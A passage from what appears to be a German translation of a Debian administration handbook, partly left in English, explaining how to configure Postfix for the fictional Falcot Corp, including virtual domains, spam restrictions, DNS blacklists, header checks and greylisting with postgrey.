unternommen werden muss.

WÖRTERVERZEICHNIS ISP

ISP ist die Abkürzung für „Internet Service Provider“ (Internet-Zugangsanbieter). Hiermit ist eine Einrichtung gemeint, in vielen Fällen ein kommerzielles Unternehmen, die Internetverbindungen und damit zusammenhängende grundlegende Dienste (E-Mail, Nachrichten und so weiter) bereitstellt.

Die zweite Frage bezieht sich auf die vollständige Bezeichnung des Rechners, die zur Erstellung von E-Mail-Adressen aus einem lokalen Benutzernamen verwendet wird; die vollständige Bezeichnung des Rechners wird zu dem Teil hinter dem at-Zeichen („@“). Im Falle von Falcot sollte die Antwort mail.falcot.com lauten. Dies ist die einzige standardmäßig gestellte Frage, aber die Konfigurierung, zu der sie führt, ist für die Bedürfnisse von Falcot nicht vollständig genug, weshalb die Administratoren dpkg-reconfigure postfix aufrufen, um so weitere Parameter einstellen zu können.

Eine der zusätzlichen Fragen erkundigt sich nach allen Domain-Namen, die mit diesem Rechner in Zusammenhang stehen. Die Standardliste umfasst seine vollständige Bezeichnung sowie einige Synonyme für localhost, jedoch muss die Hauptdomain falcot.com von Hand hinzugefügt werden. Allgemeiner gesagt sollte diese Frage normalerweise mit allen Domain-Namen beantwortet werden, für die dieser Rechner als MX-Server dienen soll; mit anderen Worten, allen Domain-Namen, für die der DNS angibt, dass dieser Rechner E-Mails annimmt. Diese Information geht in die Variable mydestination der Hauptkonfigurationsdatei von Postfix — /etc/postfix/main.cf — ein.

Abbildung 11.1. Rolle des DNS-MX-Eintrags beim Versenden einer E-Mail

EXTRA Die MX-Einträge abfragen

Wenn im DNS kein MX-Eintrag für eine Domain vorliegt, versucht der E-Mail-Server, die Nachrichten unter Verwendung des passenden A-Eintrags (oder AAAA bei IPv6) an den Host selbst zu schicken.

In manchen Fällen kann während der Installation auch gefragt werden, welchen Netzwerken es erlaubt sein soll, E-Mails über den Rechner zu verschicken. In seiner Standard-Konfiguration akzeptiert Postfix nur E-Mails, die von diesem Rechner selbst kommen; das lokale Netzwerk wird gewöhnlich hinzugefügt. Die Falcot Corp. Administratoren haben 192.168.0.0/16 zur Standardantwort hinzugefügt. Falls diese Frage nicht gestellt wird, ist mynetworks die relevante Variable in der Konfigurationsdatei, wie in unten stehendem Beispiel zu sehen ist.

Lokale E-Mail kann auch durch procmail zugestellt werden. Dieses Programm ermöglicht es Benutzern, ihre ankommende E-Mail nach Regeln, die in der Datei ~/.procmailrc gespeichert sind, zu sortieren. Sowohl Postfix als auch Exim4 schlagen standardmäßig procmail vor, aber es gibt Alternativen wie maildrop oder Sieve-Filter.

Nach diesem ersten Schritt verfügen die Administratoren über die folgende Konfigurationsdatei; sie wird als Ausgangspunkt verwendet, um in den nächsten Abschnitten einige weitere Funktionsmerkmale hinzuzufügen.

Beispiel 11.1. Anfängliche /etc/postfix/main.cf-Datei

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = smtp relay_transport = smtp inet_protocols = all myorigin = /etc/mailname

SICHERHEIT Schlangenöl SSL-Zertifikate

Die Schlangenöl-Zertifikate sind, wie die Schlangenöl-„Medizin“, die früher von gewissenlosen Quacksalbern verkauft wurde, völlig wertlos: Man kann sich nicht darauf verlassen, dass sie den Server authentifizieren, da sie automatisch erzeugte, selbstsignierte Zertifikate sind. Sie können jedoch dazu dienen, die Vertraulichkeit des Austausches zu verbessern.

Im Allgemeinen sollten sie nur zu Testzwecken verwendet werden und der normale Dienst muss echte Zertifikate verwenden. Die Let's encrypt-Initiative bietet kostenlose und vertrauenswürdige SSL/TLS-Zertifikate an, die mit dem certbot-Paket wie in Abschnitt 11.2.2, „Unterstützung für SSL hinzufügen“ beschrieben generiert und dann in postfix wie folgt verwendet werden können:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

A different way to generate your own certificates using your own certificate authority is described in Abschnitt 10.2.2, „Public-Key-Infrastrultur: easy-rsa“.

11.1.2. Virtuelle Domains konfigurieren

The mail server can receive mails addressed to other domains besides the main domain; these are then known as “virtual“ domains. In most cases where this happens, the emails are not ultimately destined to local users. Postfix provides two interesting features for handling virtual domains.

VORSICHT Virtuelle und autorisierte Domains

Auf keine der virtuellen Domains darf in der Variablen mydestination verwiesen werden; diese Variable enthält nur die Namen der direkt dem Rechner und seinen lokalen Benutzern zugeordneten „autorisierten“ Domains.

11.1.2.1. Virtuelle Alias-Domains

Eine virtuelle Alias-Domain enthält nur Aliasse, das heißt Adressen, die nur E-Mails an andere Adressen weiterleiten.

Eine derartige Domain wird durch das Hinzufügen ihres Namens zur Variablen virtual_alias_domains und das Eintragen eines Verweises auf eine Adressen-Bezugsdatei in die Variable virtual_alias_maps aktiviert.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

Die Datei /etc/postfix/virtual stellt eine Zuordnung in einer recht einfachen Syntax dar: jede Zeile enthält zwei durch Leerzeichen getrennte Felder; das erste Feld ist der Alias-Name, das zweite eine Liste der E-Mail-Adressen, an die er weiterleitet. Die spezielle Syntax @domain.com deckt alle übrigen Aliasse in der Domain ab.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # The alias below is generic and covers all addresses within # the falcotsbrand.com domain not otherwise covered by this file. # These addresses forward email to the same user name in the # falcot.com domain. @falcotsbrand.com @falcot.com

Nach der Änderung von /etc/postfix/virtual muss die Postfix-Tabelle /etc/postfix/virtual.db mit sudo postmap /etc/postfix/virtual aktualisiert werden.

11.1.2.2. Virtuelle Postfach-Domains

VORSICHT Kombinierte virtuelle Domain?

Postfix erlaubt es nicht, dieselbe Domain sowohl in virtual_alias_domains als auch in virtual_mailbox_domains zu verwenden. Jedoch ist jede Domain in virtual_mailbox_domains stillschweigend auch in virtual_alias_domains erfasst, so dass es möglich ist, Aliasse und Postfächer in einer virtuellen Domain zu kombinieren.

An ein virtuelles Postfach adressierte Nachrichten werden in Postfächern gespeichert, die keinem lokalen Systembenutzer zugeordnet sind.

Um eine virtuelle Postfach-Domain zu aktivieren, ist es erforderlich, diese Domain in der Variablen virtual_mailbox_domains einzutragen und in virtual_mailbox_maps einen Verweis auf eine Mailbox-Bezugsdatei anzugeben. Der Parameter virtual_mailbox_base enthält das Verzeichnis, in dem die Postfächer gespeichert werden.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

Der Paramater virtual_uid_maps (beziehungsweise virtual_gid_maps) verweist auf die Datei, die den Bezug zwischen der E-Mail-Adresse und dem Systembenutzer (beziehungsweise der Gruppe) enthält, dem das entsprechende Postfach „gehört“. Um alle Postfächer zusammen fassen zu können, die dem selben Benutzer beziehungsweise der selben Gruppe gehören, weist man mittels der Syntax static:5000 eine feste UID/GID (hier mit dem Wert 5000) zu.

Auch die Syntax der Datei /etc/postfix/vmailbox ist recht einfach: zwei durch Leerzeichen getrennte Felder. Das erste Feld ist eine E-Mail-Adresse innerhalb einer der virtuellen Domains, und das zweite ist der Ort des dazugehörigen Postfachs (relativ zum Verzeichnis, das in virtual_mailbox_base angegeben ist). Falls die Bezeichnung des Postfachs mit einem Schrägstrich (/) endet, werden die E-Mails im maildir-Format gespeichert; anderenfalls wird das traditionelle mbox-Format benutzt. Das maildir-Format verwendet ein ganzes Verzeichnis zur Speicherung eines Postfachs, wobei jede individuelle Nachricht in einer eigenen Datei gespeichert wird. Dagegen ist beim mbox-Format das gesamte Postfach in einer einzigen Datei gespeichert, wobei jede Zeile, die mit „From “ beginnt (From gefolgt von einem Leerzeichen), den Beginn einer neuen Nachricht anzeigt.

# Jeans E-Mail ist als maildir gespeichert mit # einer Datei je E-Mail in einem gesonderten Verzeichnis jean@falcot.org falcot.org/jean/ # Sophies E-Mail ist in einer traditionellen „mbox“-Datei gespeichert # mit allen Mails zu einer einzigen Datei verkettet sophie@falcot.org falcot.org/sophie

11.1.3. Einschränkungen beim Empfangen und Senden

Die wachsende Zahl unerwünschter Massen-E-Mails (spam) macht es erforderlich, bei der Entscheidung, welche E-Mails ein Server annehmen sollte, in zunehmendem Maße strikt zu sein. Dieser Abschnitt zeigt einige der in Postfix enthaltenen Strategien.

Wenn die Ablehnungsregeln zu streng sind, kann es passieren, dass sogar berechtigter E-Mail-Verkehr gesperrt wird. Es ist daher eine gute Angewohnheit, während dieser Zeit mit der Richtlinie soft_bounce = yes Einschränkungen zu testen und die dauerhafte Ablehnung von Anfragen zu verhindern. Wenn eine Direktive vom Typ reject mit warn_if_reject vorangestellt wird, wird nur eine Protokollmeldung aufgezeichnet, anstatt die Anfrage abzulehnen.

KULTUR Das Spam-Problem

„Spam“ ist der allgemeine Begriff zur Bezeichnung all der unerwünschten kommerziellen E-Mails (auch bekannt als UCE = unsolicited commercial email), die unsere elektronischen Postfächer überfluten; die gewissenlosen Individuen, die sie verschicken, werden Spammer genannt. Sie kümmern sich wenig um die Belästigung, die sie verursachen, da das Verschicken einer E-Mail sehr wenig kostet, und es genügt, dass sich nur ein sehr geringer Prozentsatz der Empfänger von diesen Angeboten angezogen fühlt, damit die Spamming-Aktion mehr Geld einbringt als sie kostet. Der Vorgang ist weitgehend automatisiert, und jede E-Mail-Adresse, die öffentlich bekannt gemacht wird (zum Beispiel in einem Web-Forum, den Archiven einer Mailingliste oder einem Blog und so weiter) wird wahrscheinlich von den Robotern des Spammers entdeckt und einem niemals endenden Strom unerwünschter Nachrichten unterworfen. Auch jeder Kontakt, der auf einem kompromittierten System gefunden wird, ist ein Ziel.

Alle System-Administratoren versuchen, dieser Belästigung mit Spamfiltern zu begegnen, aber natürlich passen sich die Spammer an und versuchen, diese Filter zu umgehen. Einige mieten sogar Rechnernetzwerke an, die von diversen kriminellen Banden mit einem Wurm infiziert worden sind. Jüngste Statistiken schätzen, dass bis zu 95% aller über das Internet laufenden E-Mails Spam sind!

11.1.3.1. IP-basierte Zugangsbeschränkungen

Die Anweisung smtpd_client_restrictions bestimmt, welchen Rechnern es erlaubt ist, mit dem E-Mail-Server zu kommunizieren.

Wenn eine Variable wie im Beispiel unten eine Liste von Regeln enthält, werden diese Regeln der Reihe nach von der ersten bis zur letzten ausgewertet. Jede Regel kann die Nachricht entweder annehmen, zurückweisen oder die Entscheidung einer nachfolgenden Regel überlassen. Daher ist die Reihenfolge wichtig und das Vertauschen zweier Regeln kann zu einem völlig anderen Verhalten führen.

Beispiel 11.2. Beschränkungen aufgrund von Client-Adressen

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

Die Anweisung permit_mynetworks, die als erste Regel verwendet wurde, akzeptiert alle E-Mails, die von einem Rechner im lokalen Netzwerk (wie in der Konfigurationsvariablen mynetworks festgelegt) kommen.

Die zweite Direktive würde normalerweise alle E-Mails zurückweisen, die von Rechnern ohne vollständig gültige DNS-Konfiguration kommen. Solch eine gültige Konfiguration bedeutet, dass die IP-Adresse einem Namen zugeordnet werden kann und dass dieser Name wiederum der IP-Adresse zugeordnet ist. Diese Beschränkung ist häufig zu strikt, da manche E-Mail-Server keinen umgekehrten DNS für ihre IP-Adresse haben. Dies erklärt, warum die Falcot Administratoren der Direktive reject_unknown_client den Modifikator warn_if_reject vorangestellt haben: dieser Modifikator wandelt die Zurückweisung in eine einfache Warnung um, die in den Protokollen aufgezeichnet wird. Die Administratoren können dann die Anzahl der Nachrichten im Blick behalten, die zurückgewiesen würden, wenn die Regel tatsächlich durchgesetzt würde und später aufgrund dieser Informationen eine Entscheidung treffen, ob sie die Durchsetzung aktivieren wollen.

TIPP access-Tabellen

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using a copy of the /usr/share/doc/postfix/examples/access file shipped with the postfix-doc package and explained in access(5). This model is self-documented in its comments, which means each table describes its own syntax.

Die Tabelle /etc/postfix/access_clientip führt IP-Adressen und Netzwerke auf; /etc/postfix/access_helo listet Domain-Namen; /etc/postfix/access_sender enthält E-Mail-Adressen von Absendern. Alle diese Dateien müssen nach jeder Änderung mittels des Befehls sudo postmap /etc/postfix/Datei in Hash-Tabellen umgewandelt werden (ein Format, das für schnellen Zugriff optimiert ist).

The check_client_access directive allows the administrator to set up a blacklist and a whitelist of email servers, stored in the /etc/postfix/access_clientip file. Servers in the whitelist are considered as trusted, and the emails coming from there therefore do not go through the following filtering rules.

Die letzten vier Regeln weisen jede Nachricht zurück, die von einem Server kommt, der in einer der angegebenen schwarzen Listen aufgeführt ist. RBL ist ein Akronym für Remote Black List und RHSBL steht für Right-Hand Side Black List. Der Unterschied besteht darin, dass erstere IP-Adressen aufführt, während letztere Domänennamen aufführt. Es gibt mehrere solcher Dienste. Sie listen Domänen und IP-Adressen mit schlechtem Ruf, schlecht konfigurierte Server, die von Spammern zur Weiterleitung ihrer E-Mails verwendet werden, sowie unerwartete Mail-Relays wie z.B. mit Würmern oder Viren infizierte Rechner.

TIPP Positivliste und RBLs

Manchmal enthalten schwarze Listen auch seriöse Server, die einen Störfall erlitten haben. In diesem Fall würden alle E-Mails, die von einem dieser Server kommen, zurückgewiesen, es sei denn, der Server ist in einer von /etc/postfix/access_clientip festgelegten Positivliste aufgeführt.

Es empfiehlt sich daher, vernünftigerweise alle seriösen Server, von denen man gewöhnlich zahlreiche E-Mails erhält, in die Positivliste(n) aufzunehmen.

11.1.3.2. Die Gültigkeit der Befehle EHLO und HELO überprüfen

Jeder SMTP-Austausch beginnt mit einem HELO (oder EHLO) Befehl, gefolgt vom Namen des sendenden E-Mail-Servers. Die Überprüfung der Gültigkeit dieses Namens kann interessant sein. Um die in smtpd_helo_restrictions aufgeführten Einschränkungen vollständig durchzusetzen, muss die Option smtpd_helo_required aktiviert sein. Andernfalls könnten Clients die Einschränkungen überspringen, indem sie keinen HELO/EHLO Befehl senden.

Beispiel 11.3. Beschränkungen für den in EHLO genannten Namen

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

Die erste Anweisung, permit_mynetworks, erlaubt es allen Rechnern des lokalen Netzwerks, sich ungehindert einzuführen. Dies ist wichtig, da einige E-Mail-Programme diesen Teil des SMTP-Protokolls nicht in ausreichendem Maße beachten und sich mit unsinnigen Namen einführen können.

The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to a lot of rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

Die reject_rhsbl_helo erlaubt es, eine schwarze Liste anzugeben, um den Hostnamen gegen eine RHSBL zu prüfen.

Die Verwendung von permit_mynetworks als erster Regel hat eine interessante Nebenwirkung: die folgenden Regeln gelten nur für Rechner außerhalb des lokalen Netzwerks. Hierdurch ist es möglich, alle Rechner, die sich als Teil des falcot.com-Netzwerks ausgeben, auf die schwarze Liste zu setzen, indem zum Beispiel die Zeile falcot.com ABGELEHNT Sie sind nicht in unserem Netzwerk! zur Datei /etc/postfix/access_helo hinzugefügt wird.

11.1.3.3. Accepting or Refusing Mails Based on the Announced Sender

Jede Nachricht hat einen Absender, der durch den Befehl MAIL FROM des SMTP-Protokolls angegeben wird; auch diese Information kann auf verschiedene Weise überprüft werden.

Beispiel 11.4. Überprüfung des Absenders

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

Die Tabelle /etc/postfix/access_sender ordnet einigen Absendern eine besondere Behandlung zu. Dies bedeutet für gewöhnlich, dass einige Absender in eine Positivliste oder eine schwarze Liste aufgenommen werden.

The reject_unknown_sender_domain rule requires a valid sender domain, since it is needed for a valid address. The reject_unlisted_sender rule rejects local senders if the address does not exist; this prevents emails being sent from an invalid address in the falcot.com domain, and messages emanating from joe.bloggs@falcot.com are only accepted if such an address really exists.

Schließlich weist die Regel reject_non_fqdn_sender E-Mails zurück, die vorgeben, von Adressen ohne einen vollständig ausgewiesenen Domain-Namen zu kommen. In der Praxis bedeutet dies, dass E-Mails, die von benutzer@rechner kommen, zurückgewiesen werden: die Adresse muss entweder als benutzer@rechner.beispiel.com oder benutzer@beispiel.com angegeben werden.

Die reject_rhsbl_sender-Regel lehnt Absender ab, die auf einem (domänenbasierten) RHSBL-Dienst basieren.

11.1.3.4. Accepting or Refusing Mails Based on the Recipient

Jede E-Mail hat wenigstens einen Empfänger, der im SMTP-Protokoll mit dem Befehl RCPT TO angegeben wird. Diese Adressen erfordern ebenfalls eine Gültigkeitsprüfung, selbst wenn dies weniger wichtig sein sollte als die Überprüfung des Absenders.

Beispiel 11.5. Überprüfung des Empfängers

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

Die grundlegende Regel lautet reject_unauth_destination, und sie verlangt, dass externe Nachrichten an uns adressiert sein müssen; Nachrichten an eine Adresse, die von diesem Server nicht bedient wird, werden zurückgewiesen. Ohne diese Regel wird ein Server zu einem offenen Übermittler, der es Spammern erlaubt, unerwünschte E-Mails zu verschicken; diese Regel ist daher obligatorisch, und sie wird am besten ziemlich am Anfang der Liste platziert, damit nicht andere Regeln die Nachricht zulassen, bevor ihre Zieladresse überprüft worden ist.

Die Regel reject_unlisted_recipient weist Nachrichten zurück, die an nicht existierende lokale Benutzer geschickt werden, was natürlich Sinn macht. Schließlich weist die Regel reject_non_fqdn_recipient nicht vollständig ausgewiesene Adressen zurück; dies macht es unmöglich, eine E-Mail an jean oder jean@rechner zu schicken, und erfordert stattdessen, die vollständige Adresse zu verwenden, wie jean@rechner.falcot.com or jean@falcot.com.

Die Permit-Richtlinie am Ende ist nicht notwendig. Sie kann jedoch am Ende einer Einschränkungsliste nützlich sein, um die Standardrichtlinie auszudrücken.

11.1.3.5. Beschränkungen in Verbindung mit dem Befehl DATA

SMTPs Befehl DATA wird vor dem Inhalt der Nachricht verschickt. An sich stellt er keine Information bereit, außer anzukündigen, was als nächstes kommt.Dennoch kann er Überprüfungen unterworfen werden.

Beispiel 11.6. Überprüfungen von DATA

smtpd_data_restrictions = reject_unauth_pipelining

Die Anweisung reject_unauth_pipelining bewirkt, dass die Nachricht zurückgewiesen wird, falls die aussendende Partei einen Befehl verschickt, bevor die Antwort auf den vorhergehenden Befehl gesendet worden ist. Dies schützt vor einer häufig von Spam-Robotern benutzten Optimierung, da sie sich gewöhnlich keinen Deut um Antworten scheren und sich nur darauf konzentrieren, in möglichst kurzer Zeit möglichst viele E-Mails zu verschicken.

11.1.3.6. Beschränkungen anwenden

Obwohl die Befehle oben Informationen in verschiedenen Phasen des SMTP-Austauschs überprüfen, verschickt Postfix die eigentliche Zurückweisung standardmäßig als Antwort auf den Befehl RCPT TO.

Dies bedeutet, dass selbst wenn die Nachricht aufgrund eines ungültigen EHLO-Befehls zurückgewiesen wird, Postfix den Absender und den Empfänger kennt, wenn es die Zurückweisung bekanntgibt. Es kann dann eine eindeutigere Nachricht protokollieren, als möglich gewesen wäre, falls die Übertragung gleich zu Anfang abgebrochen worden wäre. Außerdem erwarten manche SMTP-Clients keine Störungen bei den frühen SMTP-Befehlen, und diese Clients werden durch die späte Zurückweisung weniger gestört.

Ein letzter Vorteil dieser Vorgehensweise ist, dass die Regeln im Verlauf der verschiedenen SMTP-Stadien Informationen sammeln können; dies ermöglicht es, feinkörnigere Berechtigungen zu formulieren, wie zum Beispiel eine nicht-lokale Verbindung zurückzuweisen, wenn sie sich als lokaler Absender ausgibt.

Das Standardverhalten wird durch die Regel smtpd_delay_reject gesteuert.

11.1.3.7. Filtern aufgrund des Nachrichteninhalts

Das Überprüfungs- und Beschränkungssystem wäre nicht vollständig ohne eine Möglichkeit, Überprüfungen des Nachrichteninhalts durchzuführen. Postfix unterscheidet die Überprüfungen, die es auf die E-Mail-Kopfzeilen anwendet, von denen, die es für den E-Mail-Inhalt benutzt.

Beispiel 11.7. Inhaltsbezogene Filter aktivieren

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

Beide Dateien enthalten eine Liste regulärer Ausdrücke (gewöhnlich als regexps oder regexes bezeichnet) und damit zusammenhängender Aktionen, die ausgelöst werden, wenn die E-Mail-Kopfzeilen (oder der Inhalt) einem Ausdruck entsprechen.

KURZER BLICK Regexp-Tabellen

The file /usr/share/doc/postfix/examples/header_checks (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

Beispiel 11.8. Beispiel einer Datei /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *Your email contains VIRUSES/ DISCARD virus notification

ZURÜCK ZU DEN GRUNDLAGEN Regulärer Ausdruck

Der Begriff regulärer Ausdruck (abgekürzt regexp oder regex) bezieht sich auf eine allgemeine Bezeichnung zur Beschreibung des Inhalts oder der Struktur einer Zeichenkette. Bestimmte Sonderzeichen ermöglichen die Festlegung von Alternativen (so trifft zum Beispiel foo|bar entweder für „foo“ oder für „bar“ zu), von Reihen zugelassener Zeichen (zum Beispiel bedeutet [0-9] "eine beliebige Ziffer" und . - ein Punkt - "ein beliebiger Buchstabe") und von Quantifizierungen (s? trifft entweder auf s oder die Nullkette zu, mit anderen Worten das Ereignis 0 oder 1 von s; s+ trifft auf ein oder mehrere aufeinander folgende s-Zeichen zu und so weiter). Klammern ermöglichen das Gruppieren von Suchergebnissen.

Die genaue Syntax dieser Ausdrücke unterscheidet sich zwischen den Programmen, die sie verwenden, aber die grundlegenden Merkmale sind ähnlich.

→ https://de.wikipedia.org/wiki/Regulärer_Ausdruck

Der erste überprüft die Kopfzeile, die die E-Mail-Software nennt; falls GOTO Sarbacane gefunden wird (ein Programm zum Versenden von Massen-E-Mails), wird die Nachricht zurückgewiesen. Der zweite Ausdruck überprüft den Nachrichtenbetreff; falls er eine Virenmeldung nennt, können wir entscheiden, die Nachricht nicht zurückzuweisen, sondern stattdessen sofort zu löschen.

Die Verwendung dieser Filter ist ein zweischneidiges Schwert, da die Regeln leicht zu allgemein formuliert werden können und als Folge seriöse E-Mails verloren gehen. In diesen Fällen sind nicht nur die Nachrichten verloren, sondern ihre Absender erhalten zudem unerwünschte (und störende) Fehlermeldungen.

11.1.4. Greylisting einrichten

“Greylisting” is a filtering technique according to which a message is initially rejected with a temporary error code, and only accepted after a further delivery attempt with some delay. This filtering is particularly efficient against spam sent by the many machines infected by worms and viruses, since this software rarely acts as a full SMTP agent (by checking the error code and retrying failed messages later), especially since many of the harvested addresses are really invalid and retrying would only mean losing time.

Postfix stellt Greylisting nicht von Haus aus zur Verfügung, jedoch gibt es eine Funktion, mit der die Entscheidung, eine bestimmte Nachricht anzunehmen oder zurückzuweisen, an ein externes Programme delegiert werden kann. Das Paket postgrey enthält genau solch ein Programm, das dafür ausgelegt ist, sich in diesen Dienst zur Delegierung der Zugangsrichtlinien einzubinden.

Sobald postgrey installiert ist, läuft es als Daemon und nimmt an Port 10023 Verbindungen an. Postfix kann dann auf seine Verwendung eingestellt werden, indem der Parameter check_policy_service als zusätzliche Bedingung hinzugefügt wird:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

Each time Postfix reaches this rule in the rule set, it will connect to the postgrey daemon and send it information concerning the relevant message. On its side, Postgrey considers the IP address/sender/recipient triplet and checks in its database whether that same triplet has been seen recently. If so, Postgrey replies that the message should be accepted; if not, the reply indicates that the message should be temporarily rejected, and the triplet gets recorded in the database.

Der Hauptnachteil des Greylistings besteht darin, dass seriöse Nachrichten verzögert werden, was nicht immer akzeptabel ist. Es erhöht außerdem die Belastung von Servern, die zahlreiche seriöse E-Mails versenden.

IN DER PRAXIS Unzulänglichkeiten des Greylistings

Theoretisch sollte Greylisting nur die erste Nachricht eines bestimmten Absenders an einen bestimmten Empfänger verzögern, und die typische Verzögerungsdauer liegt dabei im Bereich von Minuten. Die Wirklichkeit kann jedoch etwas anders aussehen. Einige große Internetdienstanbieter verwenden Gruppen von SMTP-Servern, und wenn eine Nachricht zunächst zurückgewiesen wird, kann es sein, dass der Server, der die Übertragung erneut versucht, nicht derselbe wie der ursprüngliche ist. In diesem Fall erhält der zweite Server aufgrund des Greylistings ebenfalls eine vorläufige Fehlermeldung und so weiter; so kann es mehrere Stunden dauern, bevor die Übertragung wieder von einem Server versucht wird, der schon einmal beteiligt war, da SMTP-Server normalerweise nach jedem Fehlschlag die Verzögerungszeit bis zu einem erneuten Versuch erhöhen.

Folglich kann sich die ankommende IP-Adresse selbst für denselben Absender im Zeitverlauf ändern. Das ist jedoch nicht alles: selbst die Absenderadresse kann wechseln. Zum Beispiel kodieren viele Mailinglisten-Server zusätzliche Informationen in die Absenderadresse, um bestimmte Fehlermeldungen (bounces genannt) verarbeiten zu können. Jede an eine Mailingliste verschickte Nachricht wird dann möglicherweise durch das Greylisting gehen müssen mit der Folge, dass sie (vorübergehend) auf dem Server des Absenders gespeichert werden muss. Bei sehr großen Mailinglisten (mit zehntausenden von Abonnenten) kann dies sehr schnell zu Problemen führen.

Um diesen Nachteilen entgegenzuwirken, verwaltet Postgrey eine Positivliste solcher Stellen und von ihnen ausgehende Nachrichten werden direkt ohne den Umweg über das Greylisting angenommen. Diese Liste kann leicht an die örtlichen Bedürfnisse angepasst werden, da sie in der Datei /etc/postgrey/whitelist_clients gespeichert ist.

WEITERE SCHRITTE Selektives Greylisting mit milter-greylist

Den Nachteilen des Greylistings kann dadurch begegnet werden, dass es nur auf die Untergruppe der Clients angewendet wird, die bereits als mögliche Spamquellen angesehen werden (da sie in einer schwarzen Liste des DNS aufgeführt sind). Dies ist mit postgrey nicht möglich, wohl aber mit milter-greylist.

Da DNS-Blacklisten nicht zu einer endgültigen Ablehnung führen, ist es in diesem Szenario vernünftig, aggressive schwarze Listen einzusetzten, einschließlich derer, die alle dynamischen IP-Adressen von Internetdienstanbietern auflisten (wie zum Beispiel pbl.spamhaus.org oder dul.dnsbl.sorbs.net).

Da milter-greylist die Milter-Schnittstelle von Sendmail benutzt, ist die Postfix-Seite der Konfiguration beschränkt auf “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. Die Handbuchseite greylist.conf(5) dokumentiert /etc/milter-greylist/greylist.conf und die vielfältigen Möglichkeiten die Milter-greylist zu konfigurieren. Sie werden auch /etc/default/milter-greylist bearbeiten müssen um den Dienst wirklich freizugeben.

11.1.5. Filter anhand des Empfängers einstellen

In den Abschnitten Abschnitt 11.1.3, „Einschränkungen beim Empfangen und Senden“ und Abschnitt 11.1.4, „Greylisting einrichten“sind zahlreiche Beschränkungsmöglichkeiten betrachtet worden. Sie alle haben ihren Nutzen bei der Begrenzung der eingehenden Spam-Menge, aber sie haben auch ihre Nachteile. Es wird daher immer üblicher, den Filtersatz anhand des Empfängers einzustellen. Bei Falcot Corp. ist das Greylisting für die meisten Benutzer interessant, es behindert jedoch die Arbeit einiger Benutzer, die bei ihren E-Mails kurze Wartezeiten benötigen (wie zum Beispiel der technische Betreuungsdienst). In ähnlicher Weise hat die Handelsabteilung manchmal Probleme beim Empfang von E-Mails einiger asiatischer Anbieter, die vielleicht in schwarzen Listen aufgeführt sind; diese Abteilung hat um eine ungefilterte Adresse gebeten, so dass sie mit ihnen korrespondieren kann.

Postfix bietet eine derartige Filteranpassung mit dem Konzept einer „restriction class“ an. Diese Klassen werden in dem Parameter smtpd_restriction_classes angegeben und in der gleichen Weise wie smtpd_recipient_restrictions festgelegt. Die Anweisung check_recipient_access bezeichnet dann eine Tabelle, die einem bestimmten Empfänger den richtigen Satz von Beschränkungen zuordnet.

Beispiel 11.9. Beschränkungsklassen in main.cf festlegen

